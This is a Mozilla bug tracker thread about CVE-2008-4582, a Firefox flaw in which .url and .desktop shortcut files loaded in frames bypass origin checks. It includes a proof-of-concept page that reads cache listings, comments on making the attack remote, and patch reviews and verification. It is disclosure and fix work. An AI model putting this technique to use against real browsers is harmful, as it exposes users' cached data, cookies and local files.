455311 - (CVE-2008-4582) [FIX]mid-autumn festival vulnerability

Status: RESOLVED FIXED

(Core :: Networking: File, defect, P1)

Description

[Window Snyder]

Lui Dieyu in email reports:

For Firefox, location is wrong when dot URL shortcut is launched by HTML elements. Slightly variant from CVE-2008-2810 which is about command line and only fixed in that perspective. Contents at any location can be read by taking advantage of this error - cache information, cookie information, web, local file system, etc.

Here is proof of concept showing all cached images. Web page is required to be opened in local path or Windows share(UNC/SMB) path. Reproduced on Firefox 3.0.1 running on Windows XP SP3, US English.

-----testurl1.url-----
[InternetShortcut]
URL=about:cache?device=memory
IDList=
[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,2

-----testurl2.url-----
[InternetShortcut]
URL=about:cache?device=disk
IDList=
[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,2

-----test.html-----
<script>
function a()
{
s="";
h="";
for(i=0;i<window.frames.length;i++)
{
    d=window.frames[i].document;
    for(j=0;j<d.links.length;j++)
    {
        u=d.links[j].text
        s+=u+"\n";
        h+="<img src=\""+u+"\">";
    }
}
document.getElementById("t").value=s;
document.getElementById("x").innerHTML=h;
}
</script>
<a href="javascript:a();">Start Test</a><br>
<a href="javascript:window.location=location.href">Load This Page Again</a><br>
<br>
<br>
<b>List of files that you recently fetched from the internet:</b><br>
<textarea rows="10" cols="100" id=t wrap=off></textarea>
<br>
<br>
<b>List of images that you recently viewed on the internet:</b><br>
<div id=x></div>
<br>
<br>
<iframe width=300 height=200 src="testurl1.url"></iframe>
<iframe width=300 height=200 src="testurl2.url"></iframe>

Comment 1

[Martijn Wargers (dead)]

Attachment: zipped testcase based on code in comment 0

Comment 2

[Jesse Ruderman]

CCing some people from bug 410156 (CVE-2008-2810).

Comment 3

[Robert Strong (they/them - no direct email)]

(In reply to comment #0)
> Lui Dieyu in email reports:
> 
> For Firefox, location is wrong when dot URL shortcut is launched by HTML
> elements. Slightly variant from CVE-2008-2810 which is about command line and
> only fixed in that perspective.
I don't believe this is related to bug 410156 anymore than two url vulnerabilities are related just because they use urls.

Having said that I suspect content might need to prevent opening .url, .desktop, and .webloc files when specified as an iframe src attribute.

Comment 4

[Daniel Veditz [:dveditz]]

Do we need to prevent loading them? Can we treat them as redirects (fully, including calling CheckLoadURI and updating the origin)? If not could we open them as plain-text files and let the user do what they want with the internal link?

This is not a remote exploit, not even a local exploit from an email attachment opened in the browser because it requires two separate files. But worst-case if you got a user to download and unpack a zip file containing the two pieces, or maybe even save a web page "Complete" you could use this to bypass CheckLoadURI() and get access to another site's data or load a chrome: URI. I don't think we currently have any chrome that could take parameters but we've had one in the recent past (bug 441169) and who knows whether any addons do.

I'm assigning "moderate" based on the apparent hoops a user would have to go through, but it could be higher if those turn out not to be much of a speed bump.

Comment 5

[Mike Shaver (:shaver -- probably not reading bugmail closely)]

Yeah, I think we just need to treat them like redirects, as Dan suggests.  Need component triage and an owner, very much wanted today.

Comment 6

[Daniel Veditz [:dveditz]]

note: cookies _are_ sent for web sites and the resulting frames are same-origin with the victim site as demonstrated with the about:cache testcase. Some juicy sites have frame-busting code (gmail, yahoo) so they don't work as victims, but lots will (e.g. bugzilla works fine as a snooping target).

Also can't rule out the possibility of combining this with a file-dropping problem in another app, such as the safari/chrome carpet-bombing problem.

confirmed the problem in 2.x (as expected).

Comment 7

[Boris Zbarsky [:bzbarsky]]

The issue is basically that nsFileProtocolHandler::NewChannel returns a channel based on the .url file without doing the normal security checks.  We should either do those there, or better yet return the file channel and then in AsyncOpen handle the redirect.

Comment 8

[Boris Zbarsky [:bzbarsky]]

Attachment: Patch for trunk and 1.9 branch

Let's see what biesi thinks of this... the 1.8 patch will need to be pretty much completely different, since we have neither the new event stuff nor nsBaseChannel there, but more or less along these lines.

Comment 9

[Boris Zbarsky [:bzbarsky]]

Attachment: Er, without the makefile cruft

Comment 10

[Damon Sicore (:damons)]

Thanks for such an amazing turnaround, Boris!

Comment 11

[Christian :Biesinger (don't email me, ping me on IRC)]

Comment on attachment 340057 [details] [diff] [review]
Er, without the makefile cruft

Very nice! Thanks for doing this.

+nsInputStreamChannel::OpenContentStream(PRBool async, nsIInputStream **result,
+                                        nsIChannel** channel)
 {
   NS_ENSURE_TRUE(mContentStream, NS_ERROR_NOT_INITIALIZED);
+
+  *channel = nsnull;

I think you should just document that the callees don't have to set this to null and do it in the caller instead, to simplify the implementations.

Comment 12

[Boris Zbarsky [:bzbarsky]]

Attachment: Updated to comments

We should take this one on branch.  I guess I'll work on a 1.8 fix.

Also, if anyone has an idea of how to write an automated test for this I'm all ears.

Comment 13

[Boris Zbarsky [:bzbarsky]]

Pushed changeset 6357eb31cec6.

Comment 14

[Daniel Veditz [:dveditz]]

This was apparently posted on the reporter's blog on 2008-09-27
http://liudieyu0.blog124.fc2.com/blog-entry-6.html

Comment 15

[Christian :Biesinger (don't email me, ping me on IRC)]

(In reply to comment #12)
> Also, if anyone has an idea of how to write an automated test for this I'm all
> ears.

Check in a .url file, create a channel for it, set its notificationCallbacks and make sure that you got the redirect notification? and also check that the channel's URI/originalURI is the one that it got created for?

Comment 16

[Boris Zbarsky [:bzbarsky]]

Hmm.  I'd need to somehow only run that on Windows, right?

Comment 17

[Christian :Biesinger (don't email me, ping me on IRC)]

That's true, but you can check that in run_test and just return if (!windows).

Comment 18

[Daniel Veditz [:dveditz]]

Comment on attachment 340988 [details] [diff] [review]
Updated to comments

Approved for 1.9.0.4, a=dveditz

Comment 19

[Daniel Veditz [:dveditz]]

The reporter would like to be credited as "Liu Die Yu of TopsecTianRongXin"

Comment 20

[Boris Zbarsky [:bzbarsky]]

Fixed on 1.9.0 branch.

Comment 21

[Martijn Wargers (dead)]

From Georgi on irc:
A slight modification of the bugtraq bug affect on linux and it is fixed in latest -central and -latest 1.9.0 .

(btw, can I (or someone else) CC Georgi on this bug?)

Comment 22

[Boris Zbarsky [:bzbarsky]]

Sounds like we need a separate bug for the Linux thing if we don't have one already....  And yeah, it's probably ok to cc Georgi.

Comment 23

[Boris Zbarsky [:bzbarsky]]

Attachment: 1.8 branch patch

Sadly, I can't actually compile branch on Windows.  So while I've compiled this on Mac, it's untested.  I'll make sure to test nightlies after landing this on branch if I can't find someone else to compile+test on Windows beforehand...

Comment 24

[georgi - hopefully not receiving bugspam]

a slight modification of the bugtraq testcase works on linux 3.0.3 so this is not windoze only. according to my tests it is fixed in latest 1.9.0 and -central.

the trick is using file.desktop, containing a link to local file or cache, bypassing same dir restrictions. tested on xubuntu 8.0.4 with xfce4.

testcase soon.

Comment 25

[georgi - hopefully not receiving bugspam]

Attachment: a.desktop - save locally

Comment 26

[georgi - hopefully not receiving bugspam]

Attachment: a.html - save locally in dir of a.desktop and open

Comment 27

[georgi - hopefully not receiving bugspam]

probably an exploit vector is "save web page complete" using <img src="a.desktop">

Comment 28

[Robert Strong (they/them - no direct email)]

It might be a good thing to also protect against .webloc files for Mac as well (see comment #3) though I'm not sure if .webloc files are as of yet handled in the same way as .desktop and .url files.

Comment 29

[georgi - hopefully not receiving bugspam]

.webloc doesn't seem to work on macosx - the testcases display XML and don't load the URI

Comment 30

[georgi - hopefully not receiving bugspam]

let me know if the linux testcases need a new bug - i didn't file one because they are fixed in -latest

Comment 31

[Robert Strong (they/them - no direct email)]

Thanks for checking that georgi. I recall seeing a bug for opening .webloc files on Mac but it may just be bug 442930 that I am thinking of.

Comment 32

[georgi - hopefully not receiving bugspam]

>Thanks for checking that georgi. I recall seeing a bug for opening .webloc
>files on Mac but it may just be bug 442930 that I am thinking of.

to clarify - opening .webloc from Finder on macosx works for me. it is the modifications of the exploits that don't work, they display XML when using .webloc in iframe/object

Comment 33

[georgi - hopefully not receiving bugspam]

platform parity => linux + win

Comment 34

[georgi - hopefully not receiving bugspam]

strange things is, a.desktop can open "about:cache" while file:///a.html can't open it - throws sec error. looks like .desktop bypasses some restrictions.

currently don't have luck with screwing "about:config"

Comment 35

[georgi - hopefully not receiving bugspam]

not sure if this is moderate.

a.desktop can load "chrome://browser/content/browser.xul" and this gives full functioning browser as a child of a.html. 

contentDocument.firstChild throws sec exc, though bz was somewhat paranoid about the effectiveness of firstChild throwing in another svg bug...

Comment 36

[Christian :Biesinger (don't email me, ping me on IRC)]

Comment on attachment 342974 [details] [diff] [review]
1.8 branch patch

+nsFileChannel::RedirectRunnable::Handle(PLEvent* aEvent)

shouldn't you check that the channel hasn't been cancelled in the meantime? (here or in HandleRedirect)

+++ netwerk/protocol/file/src/nsFileChannel.h	14 Oct 2008 01:00:12 -0000
+        RedirectRunnable(nsFileChannel* originalChannel,
+                         nsIChannel* newChannel) :

is there a specific reason why you made the ctor and dtor inline, but the rest not?

Comment 37

[Boris Zbarsky [:bzbarsky]]

Comment 24 through comment 35 have nothing to do with this bug, since the codepath being changed is in fact windows-only.  I have no idea where .desktop files are handled, but it's not in the file:// networking code.

So yes, a separate bug for that issue is needed.

> shouldn't you check that the channel hasn't been cancelled in the meantime?

Good point.  Will add.

> is there a specific reason why you made the ctor and dtor inline, but the rest
> not?

The static methods you mean?  I'd really rather not inline those.  I can out-of-line the ctor and dtor if you want.  Please let me know?

Also, I assume you want an updated patch with the cancelation-checking?

Comment 38

[Christian :Biesinger (don't email me, ping me on IRC)]

(In reply to comment #37)
> The static methods you mean?  I'd really rather not inline those.  I can
> out-of-line the ctor and dtor if you want.  Please let me know?

Yeah, I prefer out-of-line.

> Also, I assume you want an updated patch with the cancelation-checking?

That'd be great.

Comment 39

[Boris Zbarsky [:bzbarsky]]

Er, scratch that.  It looks like at least on trunk the Linux codepath is somewhat similar to the Windows one.  It just doesn't work on Mac.  I'll try to compile/test the 1.8 patch on Linux, then.

Comment 40

[georgi - hopefully not receiving bugspam]

so file a new bug or not?

Comment 41

[Boris Zbarsky [:bzbarsky]]

No need for a new bug.

Comment 42

[Boris Zbarsky [:bzbarsky]]

Attachment: Trunk + 1.9.0.x patch to handle cancel, plus unit tests

Comment 43

[Boris Zbarsky [:bzbarsky]]

Comment on attachment 343103 [details] [diff] [review]
Trunk + 1.9.0.x patch to handle cancel, plus unit tests

I meant "to handle cancel", of course.

Comment 44

[Boris Zbarsky [:bzbarsky]]

Attachment: Roll-up 1.8 branch patch (tested on Linux and all)

Comment 45

[Christian :Biesinger (don't email me, ping me on IRC)]

Comment on attachment 343103 [details] [diff] [review]
Trunk + 1.9.0.x patch to handle cancel, plus unit tests

would it make sense in test_bug455311 to test that onStartR/onStopR get called only once? maybe not necessary since that can't happen in the current impl.

+RequestObserver.prototype = {
+ QueryInterface: function(iid)

shouldn't that be indented two spaces?

Comment 46

[Christian :Biesinger (don't email me, ping me on IRC)]

Comment on attachment 343104 [details] [diff] [review]
Roll-up 1.8 branch patch (tested on Linux and all)

looking at branch's nsFileChannel::Cancel, won't this:
+        Cancel(NS_BINDING_REDIRECTED);
cause a warning to be displayed, in debug builds? I guess the NS_ENSURE_SUCCESS in Cancel() should just be an if/return

(hm, and IsPending incorrectly returns false between AsyncOpen and the processing of the event. hopefully nothing relies on that being correct)

Comment 47

[Boris Zbarsky [:bzbarsky]]

Er, IsPending needs to work correctly for bfcache to work right.  Gah.  I'll try to fix that tomorrow, as well as the branch Cancel() behavior (same fix, basically).

Comment 48

[georgi - hopefully not receiving bugspam]

does firefox parse .desktop or some external library parses it?

Comment 49

[Boris Zbarsky [:bzbarsky]]

We parse it.

Comment 50

[Boris Zbarsky [:bzbarsky]]

Attachment: trunk+1.9.0 patch to make isPending() sane

This sets pending to false before onStartRequest on errors, but I think that's ok...

Comment 51

[Boris Zbarsky [:bzbarsky]]

Attachment: Branch patch with Cancel() fixed and isPending sane

Comment 52

[georgi - hopefully not receiving bugspam]

didn't have luck making this work remotely from the web - probably this scenario should be investigated

Comment 53

[Daniel Veditz [:dveditz]]

Comment on attachment 342974 [details] [diff] [review]
1.8 branch patch

Looks like attachment 343311 [details] [diff] [review] obsoletes this patch, unlike the trunk patch which is incremental. If I'm wrong please re-request approval.

Comment 54

[Boris Zbarsky [:bzbarsky]]

Er, yes.  Indeed.

Comment 55

[georgi - hopefully not receiving bugspam]

with the help of Bug 369462 this is remote with little user interaction ("open with firefox")

the http header is:
Content-Disposition: attachment;filename=v1.desktop

the result is "v1.desktop" in /tmp and "about:plugins" is opened in firefox

Comment 56

[georgi - hopefully not receiving bugspam]

remote content opening privileged uris is Bug 460425

Comment 58

[georgi - hopefully not receiving bugspam]

>*** Bug 460425 has been marked as a duplicate of this bug. ***

am i missing something?
the testcases for *this* bug doesn't work in latest -central and 1.9.0 and this bug is marked as fixed.

loading "about:plugins" as described in Bug 460425 works on today's latest builds.

Comment 59

[Boris Zbarsky [:bzbarsky]]

Hmm.  I'll reopen bug 460425.  Something odd is happening here, indeed.

Comment 60

[Boris Zbarsky [:bzbarsky]]

Pushed changeset 3d9dc5947479 to fix the IsPending/Cancel behavior on trunk.

Comment 61

[Boris Zbarsky [:bzbarsky]]

Also pushed changeset a4aa59392b79 to fix Mac test bustage; will want to remember that for 1.9.0 branch.

Comment 62

[Daniel Veditz [:dveditz]]

Comment on attachment 343307 [details] [diff] [review]
trunk+1.9.0 patch to make isPending() sane

Approved for 1.9.0.4, a=dveditz for release-drivers

Comment 63

[Daniel Veditz [:dveditz]]

Comment on attachment 343311 [details] [diff] [review]
Branch patch with Cancel() fixed and isPending sane

Approved for 1.8.1.18, a=dveditz for release-drivers

Comment 64

[Boris Zbarsky [:bzbarsky]]

Attachment: Additional patch to handle the case when redirection succeeds correctly

We were crashing on successful redirect otherwise, since mStatus was a failure (NS_BINDING_REDIRECTED) after a successful redirect, and we tried to notify a null mListener.  I've pushed this as changeset 74eac4513663 pending review to keep the crashes at bay.

Comment 65

[Boris Zbarsky [:bzbarsky]]

The 1.8 branch patch doesn't need equivalent changes, because we're doing our own canceling there, and we only do it when we don't notify.

Fixed on both branches, with all patches landed.

Comment 66

[Al Billings [:abillings - ex-MoCo]]

Verified for 1.9.04 with Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4pre) Gecko/2008102706 GranParadiso/3.0.4pre.

I looked to verify this for 1.8.1.18 but I notice that the iframes displaying Memory and Disk cache both still render the contents. This is not the case for 1.9.0.4. Is this expected?

Comment 67

[Boris Zbarsky [:bzbarsky]]

Attachment: Additional patch needed for 1.8 branch

Needed because secman doesn't actually observe redirects there...

Comment 68

[Daniel Veditz [:dveditz]]

(In reply to comment #66)
> I looked to verify this for 1.8.1.18 but I notice that the iframes displaying
> Memory and Disk cache both still render the contents.

But the test page can no longer read from those frames, so the worst aspect of this has been fixed. The remaining bit is a CheckLoadURI violation,  allowing web content to load about: or chrome: links we wouldn't normally allow -- IF the victim downloads a .url file. If we already had candidate builds I don't know I'd respin for it, but since we don't it's worth getting this fix in for it.

Comment 69

[Daniel Veditz [:dveditz]]

Comment on attachment 345220 [details] [diff] [review]
Additional patch needed for 1.8 branch

r=dveditz

tested, this works.

Comment 70

[Samuel Sidler (old account; do not CC)]

Comment on attachment 345220 [details] [diff] [review]
Additional patch needed for 1.8 branch

Approved for 1.8.1.18. a=ss for release-drivers.

Comment 71

[Boris Zbarsky [:bzbarsky]]

Checked that patch in on the branch.

Comment 72

[Daniel Veditz [:dveditz]]

So comment 66 and the additional 1.8 patch raises an interesting point that there are really two bugs here, and the fix for one masks the other in the original testcase. The original testcase uses about: urls that a web page (or file: uri) normally cannot open, and part of this fix makes sure we call CheckLoadURI and block those loads.

But because those loads are blocked it's no longer a test of the more important fix of making sure the attack page is not same-origin with the redirected content.

I recommend altering the testcase in the following way:

1) Change the second .url file to point at some website, such as http://www.mozilla.com, instead of about:cache.

2) The for loop doesn't need to enumerate links to prove badness, we just need to test for access. Therefore it could be something like
   for(i=0;i<window.frames.length;i++)
   {
     try {
       alert(frames[i].document.location);
     } catch (e) {
       alert(e);
     }
   }

Pre-fix I would expect both alerts to show file: uris. In the current 1.8 state both should be security errors. With the correct fix the first alert should be "about:blank" (nothing got loaded due to the CheckLoadURI) and the second should alert the security error.

On 1.8 the error will be "Permission denied to get property HTMLDocument.location" while on 1.9 it will be "Permission denied to get property Window.document". This difference is due to the Cross-origin Wrappers (XOW) added in 1.9 and is expected.

Comment 73

[georgi - hopefully not receiving bugspam]

>I recommend altering the testcase in the following way:

imo the testcase should not need chrome privileges and should just try to steal a file instead of testing the correctness of the patch. linux or windows probably can be distinguieshed via |navigator.platform|

Comment 74

[georgi - hopefully not receiving bugspam]

>allowing web content to load about: or chrome: links we wouldn't normally allow 

potential exploit scenario is if chrome document trusts input from location.href or document.url. could find exploit in the standard codebase, trying to find addons.

this looks somewhat suspicious:
venkman/resources/content/view-manager.js:210:    var win = openDialog ("chrome://venkman/content/venkman-floater.xul?id=" +
venkman/resources/content/view-manager.js-211-                          encodeURIComponent(windowId), "_blank",

Comment 75

[georgi - hopefully not receiving bugspam]

oops, missing inversion.

i meant could NOT find exploit in standard codebase.

Comment 76

[Al Billings [:abillings - ex-MoCo]]

Reverified for 1.8.1.18 with Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.18pre) Gecko/2008102903 BonEcho/2.0.0.18pre.

Comment 77

[Daniel Veditz [:dveditz]]

CC'ing original reporter

Comment 78

[Alexander Sack]

linux seems not to be affected on 1.8 branches.

Comment 79

[Martin Stránský [:stransky] (ni? me)]

Attachment: 1.8.0 branch patch.

patch for 1.8.0 branch, for the case anybody need it.

Comment 80

[Martin Stránský [:stransky] (ni? me)]

Attachment: significant diff between 1.8 and 1.8.0

There's only one change between 1.8 and 1.8.0 - 1.8.0 doesn't have OnChannelRedirect implemented in nsIOService so this check is removed.

Comment 81

[Boris Zbarsky [:bzbarsky]]

Yeah, on 1.8 branch we didn't support .desktop files at all, as I recall.

Comment 82

[Jesse Ruderman]

Marking in-testsuite+ because the patch contained a test:

http://mxr.mozilla.org/mozilla-central/source/netwerk/test/unit/test_bug455311.js

Comment 83

[Mihnea Dobrescu-Balaur (:mihneadb)]

Hello,

This test fails on my machine with no patches applied, just vanilla m-c.

This is the log: http://pastebin.mozilla.org/2624886


I'm on linux x64 3.10.

Comment 84

[Matt Wobensmith [:mwobensmith][:matt:]]

Mihnea, I tried the bug files on today's m-c using Linux and Mac - no issues.

Your pastebin link is empty (expired?).

I don't see an issue here, but if you do, please post more info. Thanks.

Comment 85

[Mihnea Dobrescu-Balaur (:mihneadb)]

(In reply to Matt Wobensmith from comment #84)
> Mihnea, I tried the bug files on today's m-c using Linux and Mac - no issues.
> 
> Your pastebin link is empty (expired?).
> 
> I don't see an issue here, but if you do, please post more info. Thanks.

Must be something about my linux setup. I'll rerun it when I get back to the linux box and post a new pastebin. Thanks!

Comment 86

[Mihnea Dobrescu-Balaur (:mihneadb)]

There you go - http://pastebin.mozilla.org/2924937

Comment 87

[Matt Wobensmith [:mwobensmith][:matt:]]

Thanks Mihnea. What happens when you run the bug files attached to this bug? I'd like to find out if the vulnerability is still there, or if the test is unreliable.

Comment 88

[Mihnea Dobrescu-Balaur (:mihneadb)]

There seems to be no sign of the vulnerability. Test passes fine on my other (OS X) laptop. Must be something with my linux laptop's config.